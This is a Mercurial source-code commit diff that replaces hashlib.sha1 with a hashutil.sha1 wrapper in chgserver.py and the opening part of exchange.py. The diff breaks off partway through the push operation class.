core: migrate uses of hashlib.sha1 to hashutil.sha1

Differential Revision: https://phab.mercurial-scm.org/D7849

mercurial/chgserver.py

@@ -1,738 +1,738
 # chgserver.py - command server extension for cHg
 #
 # Copyright 2011 Yuya Nishihara <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """command server extension for cHg
 
 'S' channel (read/write)
     propagate ui.system() request to client
 
 'attachio' command
     attach client's stdio passed by sendmsg()
 
 'chdir' command
     change current directory
 
 'setenv' command
     replace os.environ completely
 
 'setumask' command (DEPRECATED)
 'setumask2' command
     set umask
 
 'validate' command
     reload the config and check if the server is up to date
 
 Config
 ------
 
 ::
 
   [chgserver]
   # how long (in seconds) should an idle chg server exit
   idletimeout = 3600
 
   # whether to skip config or env change checks
   skiphash = False
 """
 
 from __future__ import absolute_import
 
-import hashlib
 import inspect
 import os
 import re
 import socket
 import stat
 import struct
 import time
 
 from .i18n import _
 from .pycompat import (
     getattr,
     setattr,
 )
 
 from . import (
     commandserver,
     encoding,
     error,
     extensions,
     node,
     pycompat,
     util,
 )
 
 from .utils import (
+    hashutil,
     procutil,
     stringutil,
 )
 
 
 def _hashlist(items):
     """return sha1 hexdigest for a list"""
-    return node.hex(hashlib.sha1(stringutil.pprint(items)).digest())
+    return node.hex(hashutil.sha1(stringutil.pprint(items)).digest())
 
 
 # sensitive config sections affecting confighash
 _configsections = [
     b'alias',  # affects global state commands.table
     b'eol',  # uses setconfig('eol', ...)
     b'extdiff',  # uisetup will register new commands
     b'extensions',
 ]
 
 _configsectionitems = [
     (b'commands', b'show.aliasprefix'),  # show.py reads it in extsetup
 ]
 
 # sensitive environment variables affecting confighash
 _envre = re.compile(
     br'''\A(?:
                     CHGHG
                     |HG(?:DEMANDIMPORT|EMITWARNINGS|MODULEPOLICY|PROF|RCPATH)?
                     |HG(?:ENCODING|PLAIN).*
                     |LANG(?:UAGE)?
                     |LC_.*
                     |LD_.*
                     |PATH
                     |PYTHON.*
                     |TERM(?:INFO)?
                     |TZ
                     )\Z''',
     re.X,
 )
 
 
 def _confighash(ui):
     """return a quick hash for detecting config/env changes
 
     confighash is the hash of sensitive config items and environment variables.
 
     for chgserver, it is designed that once confighash changes, the server is
     not qualified to serve its client and should redirect the client to a new
     server. different from mtimehash, confighash change will not mark the
     server outdated and exit since the user can have different configs at the
     same time.
     """
     sectionitems = []
     for section in _configsections:
         sectionitems.append(ui.configitems(section))
     for section, item in _configsectionitems:
         sectionitems.append(ui.config(section, item))
     sectionhash = _hashlist(sectionitems)
     # If $CHGHG is set, the change to $HG should not trigger a new chg server
     if b'CHGHG' in encoding.environ:
         ignored = {b'HG'}
     else:
         ignored = set()
     envitems = [
         (k, v)
         for k, v in pycompat.iteritems(encoding.environ)
         if _envre.match(k) and k not in ignored
     ]
     envhash = _hashlist(sorted(envitems))
     return sectionhash[:6] + envhash[:6]
 
 
 def _getmtimepaths(ui):
     """get a list of paths that should be checked to detect change
 
     The list will include:
     - extensions (will not cover all files for complex extensions)
     - mercurial/__version__.py
     - python binary
     """
     modules = [m for n, m in extensions.extensions(ui)]
     try:
         from . import __version__
 
         modules.append(__version__)
     except ImportError:
         pass
     files = []
     if pycompat.sysexecutable:
         files.append(pycompat.sysexecutable)
     for m in modules:
         try:
             files.append(pycompat.fsencode(inspect.getabsfile(m)))
         except TypeError:
             pass
     return sorted(set(files))
 
 
 def _mtimehash(paths):
     """return a quick hash for detecting file changes
 
     mtimehash calls stat on given paths and calculate a hash based on size and
     mtime of each file. mtimehash does not read file content because reading is
     expensive. therefore it's not 100% reliable for detecting content changes.
     it's possible to return different hashes for same file contents.
     it's also possible to return a same hash for different file contents for
     some carefully crafted situation.
 
     for chgserver, it is designed that once mtimehash changes, the server is
     considered outdated immediately and should no longer provide service.
 
     mtimehash is not included in confighash because we only know the paths of
     extensions after importing them (there is imp.find_module but that faces
     race conditions). We need to calculate confighash without importing.
     """
 
     def trystat(path):
         try:
             st = os.stat(path)
             return (st[stat.ST_MTIME], st.st_size)
         except OSError:
             # could be ENOENT, EPERM etc. not fatal in any case
             pass
 
     return _hashlist(pycompat.maplist(trystat, paths))[:12]
 
 
 class hashstate(object):
     """a structure storing confighash, mtimehash, paths used for mtimehash"""
 
     def __init__(self, confighash, mtimehash, mtimepaths):
         self.confighash = confighash
         self.mtimehash = mtimehash
         self.mtimepaths = mtimepaths
 
     @staticmethod
     def fromui(ui, mtimepaths=None):
         if mtimepaths is None:
             mtimepaths = _getmtimepaths(ui)
         confighash = _confighash(ui)
         mtimehash = _mtimehash(mtimepaths)
         ui.log(
             b'cmdserver',
             b'confighash = %s mtimehash = %s\n',
             confighash,
             mtimehash,
         )
         return hashstate(confighash, mtimehash, mtimepaths)
 
 
 def _newchgui(srcui, csystem, attachio):
     class chgui(srcui.__class__):
         def __init__(self, src=None):
             super(chgui, self).__init__(src)
             if src:
                 self._csystem = getattr(src, '_csystem', csystem)
             else:
                 self._csystem = csystem
 
         def _runsystem(self, cmd, environ, cwd, out):
             # fallback to the original system method if
             #  a. the output stream is not stdout (e.g. stderr, cStringIO),
             #  b. or stdout is redirected by protectfinout(),
             # because the chg client is not aware of these situations and
             # will behave differently (i.e. write to stdout).
             if (
                 out is not self.fout
                 or not util.safehasattr(self.fout, b'fileno')
                 or self.fout.fileno() != procutil.stdout.fileno()
                 or self._finoutredirected
             ):
                 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
             self.flush()
             return self._csystem(cmd, procutil.shellenviron(environ), cwd)
 
         def _runpager(self, cmd, env=None):
             self._csystem(
                 cmd,
                 procutil.shellenviron(env),
                 type=b'pager',
                 cmdtable={b'attachio': attachio},
             )
             return True
 
     return chgui(srcui)
 
 
 def _loadnewui(srcui, args, cdebug):
     from . import dispatch  # avoid cycle
 
     newui = srcui.__class__.load()
     for a in [b'fin', b'fout', b'ferr', b'environ']:
         setattr(newui, a, getattr(srcui, a))
     if util.safehasattr(srcui, b'_csystem'):
         newui._csystem = srcui._csystem
 
     # command line args
     options = dispatch._earlyparseopts(newui, args)
     dispatch._parseconfig(newui, options[b'config'])
 
     # stolen from tortoisehg.util.copydynamicconfig()
     for section, name, value in srcui.walkconfig():
         source = srcui.configsource(section, name)
         if b':' in source or source == b'--config' or source.startswith(b'$'):
             # path:line or command line, or environ
             continue
         newui.setconfig(section, name, value, source)
 
     # load wd and repo config, copied from dispatch.py
     cwd = options[b'cwd']
     cwd = cwd and os.path.realpath(cwd) or None
     rpath = options[b'repository']
     path, newlui = dispatch._getlocal(newui, rpath, wd=cwd)
 
     extensions.populateui(newui)
     commandserver.setuplogging(newui, fp=cdebug)
     if newui is not newlui:
         extensions.populateui(newlui)
         commandserver.setuplogging(newlui, fp=cdebug)
 
     return (newui, newlui)
 
 
 class channeledsystem(object):
     """Propagate ui.system() request in the following format:
 
     payload length (unsigned int),
     type, '\0',
     cmd, '\0',
     cwd, '\0',
     envkey, '=', val, '\0',
     ...
     envkey, '=', val
 
     if type == 'system', waits for:
 
     exitcode length (unsigned int),
     exitcode (int)
 
     if type == 'pager', repetitively waits for a command name ending with '\n'
     and executes it defined by cmdtable, or exits the loop if the command name
     is empty.
     """
 
     def __init__(self, in_, out, channel):
         self.in_ = in_
         self.out = out
         self.channel = channel
 
     def __call__(self, cmd, environ, cwd=None, type=b'system', cmdtable=None):
         args = [type, procutil.quotecommand(cmd), os.path.abspath(cwd or b'.')]
         args.extend(b'%s=%s' % (k, v) for k, v in pycompat.iteritems(environ))
         data = b'\0'.join(args)
         self.out.write(struct.pack(b'>cI', self.channel, len(data)))
         self.out.write(data)
         self.out.flush()
 
         if type == b'system':
             length = self.in_.read(4)
             (length,) = struct.unpack(b'>I', length)
             if length != 4:
                 raise error.Abort(_(b'invalid response'))
             (rc,) = struct.unpack(b'>i', self.in_.read(4))
             return rc
         elif type == b'pager':
             while True:
                 cmd = self.in_.readline()[:-1]
                 if not cmd:
                     break
                 if cmdtable and cmd in cmdtable:
                     cmdtable[cmd]()
                 else:
                     raise error.Abort(_(b'unexpected command: %s') % cmd)
         else:
             raise error.ProgrammingError(b'invalid S channel type: %s' % type)
 
 
 _iochannels = [
     # server.ch, ui.fp, mode
     (b'cin', b'fin', 'rb'),
     (b'cout', b'fout', 'wb'),
     (b'cerr', b'ferr', 'wb'),
 ]
 
 
 class chgcmdserver(commandserver.server):
     def __init__(
         self, ui, repo, fin, fout, sock, prereposetups, hashstate, baseaddress
     ):
         super(chgcmdserver, self).__init__(
             _newchgui(ui, channeledsystem(fin, fout, b'S'), self.attachio),
             repo,
             fin,
             fout,
             prereposetups,
         )
         self.clientsock = sock
         self._ioattached = False
         self._oldios = []  # original (self.ch, ui.fp, fd) before "attachio"
         self.hashstate = hashstate
         self.baseaddress = baseaddress
         if hashstate is not None:
             self.capabilities = self.capabilities.copy()
             self.capabilities[b'validate'] = chgcmdserver.validate
 
     def cleanup(self):
         super(chgcmdserver, self).cleanup()
         # dispatch._runcatch() does not flush outputs if exception is not
         # handled by dispatch._dispatch()
         self.ui.flush()
         self._restoreio()
         self._ioattached = False
 
     def attachio(self):
         """Attach to client's stdio passed via unix domain socket; all
         channels except cresult will no longer be used
         """
         # tell client to sendmsg() with 1-byte payload, which makes it
         # distinctive from "attachio\n" command consumed by client.read()
         self.clientsock.sendall(struct.pack(b'>cI', b'I', 1))
         clientfds = util.recvfds(self.clientsock.fileno())
         self.ui.log(b'chgserver', b'received fds: %r\n', clientfds)
 
         ui = self.ui
         ui.flush()
         self._saveio()
         for fd, (cn, fn, mode) in zip(clientfds, _iochannels):
             assert fd > 0
             fp = getattr(ui, fn)
             os.dup2(fd, fp.fileno())
             os.close(fd)
             if self._ioattached:
                 continue
             # reset buffering mode when client is first attached. as we want
             # to see output immediately on pager, the mode stays unchanged
             # when client re-attached. ferr is unchanged because it should
             # be unbuffered no matter if it is a tty or not.
             if fn == b'ferr':
                 newfp = fp
             else:
                 # make it line buffered explicitly because the default is
                 # decided on first write(), where fout could be a pager.
                 if fp.isatty():
                     bufsize = 1  # line buffered
                 else:
                     bufsize = -1  # system default
                 newfp = os.fdopen(fp.fileno(), mode, bufsize)
                 setattr(ui, fn, newfp)
             setattr(self, cn, newfp)
 
         self._ioattached = True
         self.cresult.write(struct.pack(b'>i', len(clientfds)))
 
     def _saveio(self):
         if self._oldios:
             return
         ui = self.ui
         for cn, fn, _mode in _iochannels:
             ch = getattr(self, cn)
             fp = getattr(ui, fn)
             fd = os.dup(fp.fileno())
             self._oldios.append((ch, fp, fd))
 
     def _restoreio(self):
         ui = self.ui
         for (ch, fp, fd), (cn, fn, _mode) in zip(self._oldios, _iochannels):
             newfp = getattr(ui, fn)
             # close newfp while it's associated with client; otherwise it
             # would be closed when newfp is deleted
             if newfp is not fp:
                 newfp.close()
             # restore original fd: fp is open again
             os.dup2(fd, fp.fileno())
             os.close(fd)
             setattr(self, cn, ch)
             setattr(ui, fn, fp)
         del self._oldios[:]
 
     def validate(self):
         """Reload the config and check if the server is up to date
 
         Read a list of '\0' separated arguments.
         Write a non-empty list of '\0' separated instruction strings or '\0'
         if the list is empty.
         An instruction string could be either:
             - "unlink $path", the client should unlink the path to stop the
               outdated server.
             - "redirect $path", the client should attempt to connect to $path
               first. If it does not work, start a new server. It implies
               "reconnect".
             - "exit $n", the client should exit directly with code n.
               This may happen if we cannot parse the config.
             - "reconnect", the client should close the connection and
               reconnect.
         If neither "reconnect" nor "redirect" is included in the instruction
         list, the client can continue with this server after completing all
         the instructions.
         """
         from . import dispatch  # avoid cycle
 
         args = self._readlist()
         try:
             self.ui, lui = _loadnewui(self.ui, args, self.cdebug)
         except error.ParseError as inst:
             dispatch._formatparse(self.ui.warn, inst)
             self.ui.flush()
             self.cresult.write(b'exit 255')
             return
         except error.Abort as inst:
             self.ui.error(_(b"abort: %s\n") % inst)
             if inst.hint:
                 self.ui.error(_(b"(%s)\n") % inst.hint)
             self.ui.flush()
             self.cresult.write(b'exit 255')
             return
         newhash = hashstate.fromui(lui, self.hashstate.mtimepaths)
         insts = []
         if newhash.mtimehash != self.hashstate.mtimehash:
             addr = _hashaddress(self.baseaddress, self.hashstate.confighash)
             insts.append(b'unlink %s' % addr)
             # mtimehash is empty if one or more extensions fail to load.
             # to be compatible with hg, still serve the client this time.
             if self.hashstate.mtimehash:
                 insts.append(b'reconnect')
         if newhash.confighash != self.hashstate.confighash:
             addr = _hashaddress(self.baseaddress, newhash.confighash)
             insts.append(b'redirect %s' % addr)
         self.ui.log(b'chgserver', b'validate: %s\n', stringutil.pprint(insts))
         self.cresult.write(b'\0'.join(insts) or b'\0')
 
     def chdir(self):
         """Change current directory
 
         Note that the behavior of --cwd option is bit different from this.
         It does not affect --config parameter.
         """
         path = self._readstr()
         if not path:
             return
         self.ui.log(b'chgserver', b"chdir to '%s'\n", path)
         os.chdir(path)
 
     def setumask(self):
         """Change umask (DEPRECATED)"""
         # BUG: this does not follow the message frame structure, but kept for
         # backward compatibility with old chg clients for some time
         self._setumask(self._read(4))
 
     def setumask2(self):
         """Change umask"""
         data = self._readstr()
         if len(data) != 4:
             raise ValueError(b'invalid mask length in setumask2 request')
         self._setumask(data)
 
     def _setumask(self, data):
         mask = struct.unpack(b'>I', data)[0]
         self.ui.log(b'chgserver', b'setumask %r\n', mask)
         os.umask(mask)
 
     def runcommand(self):
         # pager may be attached within the runcommand session, which should
         # be detached at the end of the session. otherwise the pager wouldn't
         # receive EOF.
         globaloldios = self._oldios
         self._oldios = []
         try:
             return super(chgcmdserver, self).runcommand()
         finally:
             self._restoreio()
             self._oldios = globaloldios
 
     def setenv(self):
         """Clear and update os.environ
 
         Note that not all variables can make an effect on the running process.
         """
         l = self._readlist()
         try:
             newenv = dict(s.split(b'=', 1) for s in l)
         except ValueError:
             raise ValueError(b'unexpected value in setenv request')
         self.ui.log(b'chgserver', b'setenv: %r\n', sorted(newenv.keys()))
 
         # Python3 has some logic to "coerce" the C locale to a UTF-8 capable
         # one, and it sets LC_CTYPE in the environment to C.UTF-8 if none of
         # 'LC_CTYPE', 'LC_ALL' or 'LANG' are set (to any value). This can be
         # disabled with PYTHONCOERCECLOCALE=0 in the environment.
         #
         # When fromui is called via _inithashstate, python has already set
         # this, so that's in the environment right when we start up the hg
         # process. Then chg will call us and tell us to set the environment to
         # the one it has; this might NOT have LC_CTYPE, so we'll need to
         # carry-forward the LC_CTYPE that was coerced in these situations.
         #
         # If this is not handled, we will fail config+env validation and fail
         # to start chg. If this is just ignored instead of carried forward, we
         # may have different behavior between chg and non-chg.
         if pycompat.ispy3:
             # Rename for wordwrapping purposes
             oldenv = encoding.environ
             if not any(
                 e.get(b'PYTHONCOERCECLOCALE') == b'0' for e in [oldenv, newenv]
             ):
                 keys = [b'LC_CTYPE', b'LC_ALL', b'LANG']
                 old_keys = [k for k, v in oldenv.items() if k in keys and v]
                 new_keys = [k for k, v in newenv.items() if k in keys and v]
                 # If the user's environment (from chg) doesn't have ANY of the
                 # keys that python looks for, and the environment (from
                 # initialization) has ONLY LC_CTYPE and it's set to C.UTF-8,
                 # carry it forward.
                 if (
                     not new_keys
                     and old_keys == [b'LC_CTYPE']
                     and oldenv[b'LC_CTYPE'] == b'C.UTF-8'
                 ):
                     newenv[b'LC_CTYPE'] = oldenv[b'LC_CTYPE']
 
         encoding.environ.clear()
         encoding.environ.update(newenv)
 
     capabilities = commandserver.server.capabilities.copy()
     capabilities.update(
         {
             b'attachio': attachio,
             b'chdir': chdir,
             b'runcommand': runcommand,
             b'setenv': setenv,
             b'setumask': setumask,
             b'setumask2': setumask2,
         }
     )
 
     if util.safehasattr(procutil, b'setprocname'):
 
         def setprocname(self):
             """Change process title"""
             name = self._readstr()
             self.ui.log(b'chgserver', b'setprocname: %r\n', name)
             procutil.setprocname(name)
 
         capabilities[b'setprocname'] = setprocname
 
 
 def _tempaddress(address):
     return b'%s.%d.tmp' % (address, os.getpid())
 
 
 def _hashaddress(address, hashstr):
     # if the basename of address contains '.', use only the left part. this
     # makes it possible for the client to pass 'server.tmp$PID' and follow by
     # an atomic rename to avoid locking when spawning new servers.
     dirname, basename = os.path.split(address)
     basename = basename.split(b'.', 1)[0]
     return b'%s-%s' % (os.path.join(dirname, basename), hashstr)
 
 
 class chgunixservicehandler(object):
     """Set of operations for chg services"""
 
     pollinterval = 1  # [sec]
 
     def __init__(self, ui):
         self.ui = ui
         self._idletimeout = ui.configint(b'chgserver', b'idletimeout')
         self._lastactive = time.time()
 
     def bindsocket(self, sock, address):
         self._inithashstate(address)
         self._checkextensions()
         self._bind(sock)
         self._createsymlink()
         # no "listening at" message should be printed to simulate hg behavior
 
     def _inithashstate(self, address):
         self._baseaddress = address
         if self.ui.configbool(b'chgserver', b'skiphash'):
             self._hashstate = None
             self._realaddress = address
             return
         self._hashstate = hashstate.fromui(self.ui)
         self._realaddress = _hashaddress(address, self._hashstate.confighash)
 
     def _checkextensions(self):
         if not self._hashstate:
             return
         if extensions.notloaded():
             # one or more extensions failed to load. mtimehash becomes
             # meaningless because we do not know the paths of those extensions.
             # set mtimehash to an illegal hash value to invalidate the server.
             self._hashstate.mtimehash = b''
 
     def _bind(self, sock):
         # use a unique temp address so we can stat the file and do ownership
         # check later
         tempaddress = _tempaddress(self._realaddress)
         util.bindunixsocket(sock, tempaddress)
         self._socketstat = os.stat(tempaddress)
         sock.listen(socket.SOMAXCONN)
         # rename will replace the old socket file if exists atomically. the
         # old server will detect ownership change and exit.
         util.rename(tempaddress, self._realaddress)
 
     def _createsymlink(self):
         if self._baseaddress == self._realaddress:
             return
         tempaddress = _tempaddress(self._baseaddress)
         os.symlink(os.path.basename(self._realaddress), tempaddress)
         util.rename(tempaddress, self._baseaddress)
 
     def _issocketowner(self):
         try:
             st = os.stat(self._realaddress)
             return (
                 st.st_ino == self._socketstat.st_ino
                 and st[stat.ST_MTIME] == self._socketstat[stat.ST_MTIME]
             )
         except OSError:
             return False
 
     def unlinksocket(self, address):
         if not self._issocketowner():
             return
         # it is possible to have a race condition here that we may
         # remove another server's socket file. but that's okay
         # since that server will detect and exit automatically and
         # the client will start a new server on demand.
         util.tryunlink(self._realaddress)
 
     def shouldexit(self):
         if not self._issocketowner():
             self.ui.log(
                 b'chgserver', b'%s is not owned, exiting.\n', self._realaddress
             )
             return True
         if time.time() - self._lastactive > self._idletimeout:
             self.ui.log(b'chgserver', b'being idle too long. exiting.\n')
             return True
         return False
 
     def newconnection(self):
         self._lastactive = time.time()
 
     def createcmdserver(self, repo, conn, fin, fout, prereposetups):
         return chgcmdserver(
             self.ui,
             repo,
             fin,
             fout,
             conn,
             prereposetups,
             self._hashstate,
             self._baseaddress,
         )
 
 
 def chgunixservice(ui, repo, opts):
     # CHGINTERNALMARK is set by chg client. It is an indication of things are
     # started by chg so other code can do things accordingly, like disabling
     # demandimport or detecting chg client started by chg client. When executed
     # here, CHGINTERNALMARK is no longer useful and hence dropped to make
     # environ cleaner.
     if b'CHGINTERNALMARK' in encoding.environ:
         del encoding.environ[b'CHGINTERNALMARK']
 
     if repo:
         # one chgserver can serve multiple repos. drop repo information
         ui.setconfig(b'bundle', b'mainreporoot', b'', b'repo')
     h = chgunixservicehandler(ui)
     return commandserver.unixforkingservice(ui, repo=None, opts=opts, handler=h)

mercurial/exchange.py

@@ -1,3098 +1,3100
 # exchange.py - utility to exchange data between repos.
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import collections
-import hashlib
 
 from .i18n import _
 from .node import (
     hex,
     nullid,
     nullrev,
 )
 from .thirdparty import attr
 from . import (
     bookmarks as bookmod,
     bundle2,
     changegroup,
     discovery,
     error,
     exchangev2,
     lock as lockmod,
     logexchange,
     narrowspec,
     obsolete,
     obsutil,
     phases,
     pushkey,
     pycompat,
     scmutil,
     sslutil,
     streamclone,
     url as urlmod,
     util,
     wireprototypes,
 )
 from .interfaces import repository
-from .utils import stringutil
+from .utils import (
+    hashutil,
+    stringutil,
+)
 
 urlerr = util.urlerr
 urlreq = util.urlreq
 
 _NARROWACL_SECTION = b'narrowacl'
 
 # Maps bundle version human names to changegroup versions.
 _bundlespeccgversions = {
     b'v1': b'01',
     b'v2': b'02',
     b'packed1': b's1',
     b'bundle2': b'02',  # legacy
 }
 
 # Maps bundle version with content opts to choose which part to bundle
 _bundlespeccontentopts = {
     b'v1': {
         b'changegroup': True,
         b'cg.version': b'01',
         b'obsolescence': False,
         b'phases': False,
         b'tagsfnodescache': False,
         b'revbranchcache': False,
     },
     b'v2': {
         b'changegroup': True,
         b'cg.version': b'02',
         b'obsolescence': False,
         b'phases': False,
         b'tagsfnodescache': True,
         b'revbranchcache': True,
     },
     b'packed1': {b'cg.version': b's1'},
 }
 _bundlespeccontentopts[b'bundle2'] = _bundlespeccontentopts[b'v2']
 
 _bundlespecvariants = {
     b"streamv2": {
         b"changegroup": False,
         b"streamv2": True,
         b"tagsfnodescache": False,
         b"revbranchcache": False,
     }
 }
 
 # Compression engines allowed in version 1. THIS SHOULD NEVER CHANGE.
 _bundlespecv1compengines = {b'gzip', b'bzip2', b'none'}
 
 
 @attr.s
 class bundlespec(object):
     compression = attr.ib()
     wirecompression = attr.ib()
     version = attr.ib()
     wireversion = attr.ib()
     params = attr.ib()
     contentopts = attr.ib()
 
 
 def parsebundlespec(repo, spec, strict=True):
     """Parse a bundle string specification into parts.
 
     Bundle specifications denote a well-defined bundle/exchange format.
     The content of a given specification should not change over time in
     order to ensure that bundles produced by a newer version of Mercurial are
     readable from an older version.
 
     The string currently has the form:
 
        <compression>-<type>[;<parameter0>[;<parameter1>]]
 
     Where <compression> is one of the supported compression formats
     and <type> is (currently) a version string. A ";" can follow the type and
     all text afterwards is interpreted as URI encoded, ";" delimited key=value
     pairs.
 
     If ``strict`` is True (the default) <compression> is required. Otherwise,
     it is optional.
 
     Returns a bundlespec object of (compression, version, parameters).
     Compression will be ``None`` if not in strict mode and a compression isn't
     defined.
 
     An ``InvalidBundleSpecification`` is raised when the specification is
     not syntactically well formed.
 
     An ``UnsupportedBundleSpecification`` is raised when the compression or
     bundle type/version is not recognized.
 
     Note: this function will likely eventually return a more complex data
     structure, including bundle2 part information.
     """
 
     def parseparams(s):
         if b';' not in s:
             return s, {}
 
         params = {}
         version, paramstr = s.split(b';', 1)
 
         for p in paramstr.split(b';'):
             if b'=' not in p:
                 raise error.InvalidBundleSpecification(
                     _(
                         b'invalid bundle specification: '
                         b'missing "=" in parameter: %s'
                     )
                     % p
                 )
 
             key, value = p.split(b'=', 1)
             key = urlreq.unquote(key)
             value = urlreq.unquote(value)
             params[key] = value
 
         return version, params
 
     if strict and b'-' not in spec:
         raise error.InvalidBundleSpecification(
             _(
                 b'invalid bundle specification; '
                 b'must be prefixed with compression: %s'
             )
             % spec
         )
 
     if b'-' in spec:
         compression, version = spec.split(b'-', 1)
 
         if compression not in util.compengines.supportedbundlenames:
             raise error.UnsupportedBundleSpecification(
                 _(b'%s compression is not supported') % compression
             )
 
         version, params = parseparams(version)
 
         if version not in _bundlespeccgversions:
             raise error.UnsupportedBundleSpecification(
                 _(b'%s is not a recognized bundle version') % version
             )
     else:
         # Value could be just the compression or just the version, in which
         # case some defaults are assumed (but only when not in strict mode).
         assert not strict
 
         spec, params = parseparams(spec)
 
         if spec in util.compengines.supportedbundlenames:
             compression = spec
             version = b'v1'
             # Generaldelta repos require v2.
             if b'generaldelta' in repo.requirements:
                 version = b'v2'
             # Modern compression engines require v2.
             if compression not in _bundlespecv1compengines:
                 version = b'v2'
         elif spec in _bundlespeccgversions:
             if spec == b'packed1':
                 compression = b'none'
             else:
                 compression = b'bzip2'
             version = spec
         else:
             raise error.UnsupportedBundleSpecification(
                 _(b'%s is not a recognized bundle specification') % spec
             )
 
     # Bundle version 1 only supports a known set of compression engines.
     if version == b'v1' and compression not in _bundlespecv1compengines:
         raise error.UnsupportedBundleSpecification(
             _(b'compression engine %s is not supported on v1 bundles')
             % compression
         )
 
     # The specification for packed1 can optionally declare the data formats
     # required to apply it. If we see this metadata, compare against what the
     # repo supports and error if the bundle isn't compatible.
     if version == b'packed1' and b'requirements' in params:
         requirements = set(params[b'requirements'].split(b','))
         missingreqs = requirements - repo.supportedformats
         if missingreqs:
             raise error.UnsupportedBundleSpecification(
                 _(b'missing support for repository features: %s')
                 % b', '.join(sorted(missingreqs))
             )
 
     # Compute contentopts based on the version
     contentopts = _bundlespeccontentopts.get(version, {}).copy()
 
     # Process the variants
     if b"stream" in params and params[b"stream"] == b"v2":
         variant = _bundlespecvariants[b"streamv2"]
         contentopts.update(variant)
 
     engine = util.compengines.forbundlename(compression)
     compression, wirecompression = engine.bundletype()
     wireversion = _bundlespeccgversions[version]
 
     return bundlespec(
         compression, wirecompression, version, wireversion, params, contentopts
     )
 
 
 def readbundle(ui, fh, fname, vfs=None):
     header = changegroup.readexactly(fh, 4)
 
     alg = None
     if not fname:
         fname = b"stream"
         if not header.startswith(b'HG') and header.startswith(b'\0'):
             fh = changegroup.headerlessfixup(fh, header)
             header = b"HG10"
             alg = b'UN'
     elif vfs:
         fname = vfs.join(fname)
 
     magic, version = header[0:2], header[2:4]
 
     if magic != b'HG':
         raise error.Abort(_(b'%s: not a Mercurial bundle') % fname)
     if version == b'10':
         if alg is None:
             alg = changegroup.readexactly(fh, 2)
         return changegroup.cg1unpacker(fh, alg)
     elif version.startswith(b'2'):
         return bundle2.getunbundler(ui, fh, magicstring=magic + version)
     elif version == b'S1':
         return streamclone.streamcloneapplier(fh)
     else:
         raise error.Abort(
             _(b'%s: unknown bundle version %s') % (fname, version)
         )
 
 
 def getbundlespec(ui, fh):
     """Infer the bundlespec from a bundle file handle.
 
     The input file handle is seeked and the original seek position is not
     restored.
     """
 
     def speccompression(alg):
         try:
             return util.compengines.forbundletype(alg).bundletype()[0]
         except KeyError:
             return None
 
     b = readbundle(ui, fh, None)
     if isinstance(b, changegroup.cg1unpacker):
         alg = b._type
         if alg == b'_truncatedBZ':
             alg = b'BZ'
         comp = speccompression(alg)
         if not comp:
             raise error.Abort(_(b'unknown compression algorithm: %s') % alg)
         return b'%s-v1' % comp
     elif isinstance(b, bundle2.unbundle20):
         if b'Compression' in b.params:
             comp = speccompression(b.params[b'Compression'])
             if not comp:
                 raise error.Abort(
                     _(b'unknown compression algorithm: %s') % comp
                 )
         else:
             comp = b'none'
 
         version = None
         for part in b.iterparts():
             if part.type == b'changegroup':
                 version = part.params[b'version']
                 if version in (b'01', b'02'):
                     version = b'v2'
                 else:
                     raise error.Abort(
                         _(
                             b'changegroup version %s does not have '
                             b'a known bundlespec'
                         )
                         % version,
                         hint=_(b'try upgrading your Mercurial client'),
                     )
             elif part.type == b'stream2' and version is None:
                 # A stream2 part requires to be part of a v2 bundle
                 requirements = urlreq.unquote(part.params[b'requirements'])
                 splitted = requirements.split()
                 params = bundle2._formatrequirementsparams(splitted)
                 return b'none-v2;stream=v2;%s' % params
 
         if not version:
             raise error.Abort(
                 _(b'could not identify changegroup version in bundle')
             )
 
         return b'%s-%s' % (comp, version)
     elif isinstance(b, streamclone.streamcloneapplier):
         requirements = streamclone.readbundle1header(fh)[2]
         formatted = bundle2._formatrequirementsparams(requirements)
         return b'none-packed1;%s' % formatted
     else:
         raise error.Abort(_(b'unknown bundle type: %s') % b)
 
 
 def _computeoutgoing(repo, heads, common):
     """Computes which revs are outgoing given a set of common
     and a set of heads.
 
     This is a separate function so extensions can have access to
     the logic.
 
     Returns a discovery.outgoing object.
     """
     cl = repo.changelog
     if common:
         hasnode = cl.hasnode
         common = [n for n in common if hasnode(n)]
     else:
         common = [nullid]
     if not heads:
         heads = cl.heads()
     return discovery.outgoing(repo, common, heads)
 
 
 def _checkpublish(pushop):
     repo = pushop.repo
     ui = repo.ui
     behavior = ui.config(b'experimental', b'auto-publish')
     if pushop.publish or behavior not in (b'warn', b'confirm', b'abort'):
         return
     remotephases = listkeys(pushop.remote, b'phases')
     if not remotephases.get(b'publishing', False):
         return
 
     if pushop.revs is None:
         published = repo.filtered(b'served').revs(b'not public()')
     else:
         published = repo.revs(b'::%ln - public()', pushop.revs)
     if published:
         if behavior == b'warn':
             ui.warn(
                 _(b'%i changesets about to be published\n') % len(published)
             )
         elif behavior == b'confirm':
             if ui.promptchoice(
                 _(b'push and publish %i changesets (yn)?$$ &Yes $$ &No')
                 % len(published)
             ):
                 raise error.Abort(_(b'user quit'))
         elif behavior == b'abort':
             msg = _(b'push would publish %i changesets') % len(published)
             hint = _(
                 b"use --publish or adjust 'experimental.auto-publish'"
                 b" config"
             )
             raise error.Abort(msg, hint=hint)
 
 
 def _forcebundle1(op):
     """return true if a pull/push must use bundle1
 
     This function is used to allow testing of the older bundle version"""
     ui = op.repo.ui
     # The goal is this config is to allow developer to choose the bundle
     # version used during exchanged. This is especially handy during test.
     # Value is a list of bundle version to be picked from, highest version
     # should be used.
     #
     # developer config: devel.legacy.exchange
     exchange = ui.configlist(b'devel', b'legacy.exchange')
     forcebundle1 = b'bundle2' not in exchange and b'bundle1' in exchange
     return forcebundle1 or not op.remote.capable(b'bundle2')
 
 
 class pushoperation(object):
     """A object that represent a single push operation
 
     Its purpose is to carry push related state and very common operations.
 
     A new pushoperation should be created at the beginning of each push and
     discarded afterward.
     """
 
     def __init__(
         self,
         repo,
         remote,
         force=False,
         revs=None,
         newbranch=False,
         bookmarks=(),
         publish=False,
         pushvars=None,
     ):
         # repo we push from
         self.repo = repo
         self.ui = repo.ui
         # repo we push to
         self.remote = remote
         # force option provided
         self.force = force
         # revs to be pushed (None is "all")
         self.revs = revs
         # bookmark explicitly pushed
         self.bookmarks = bookmarks
         # allow push of new branch
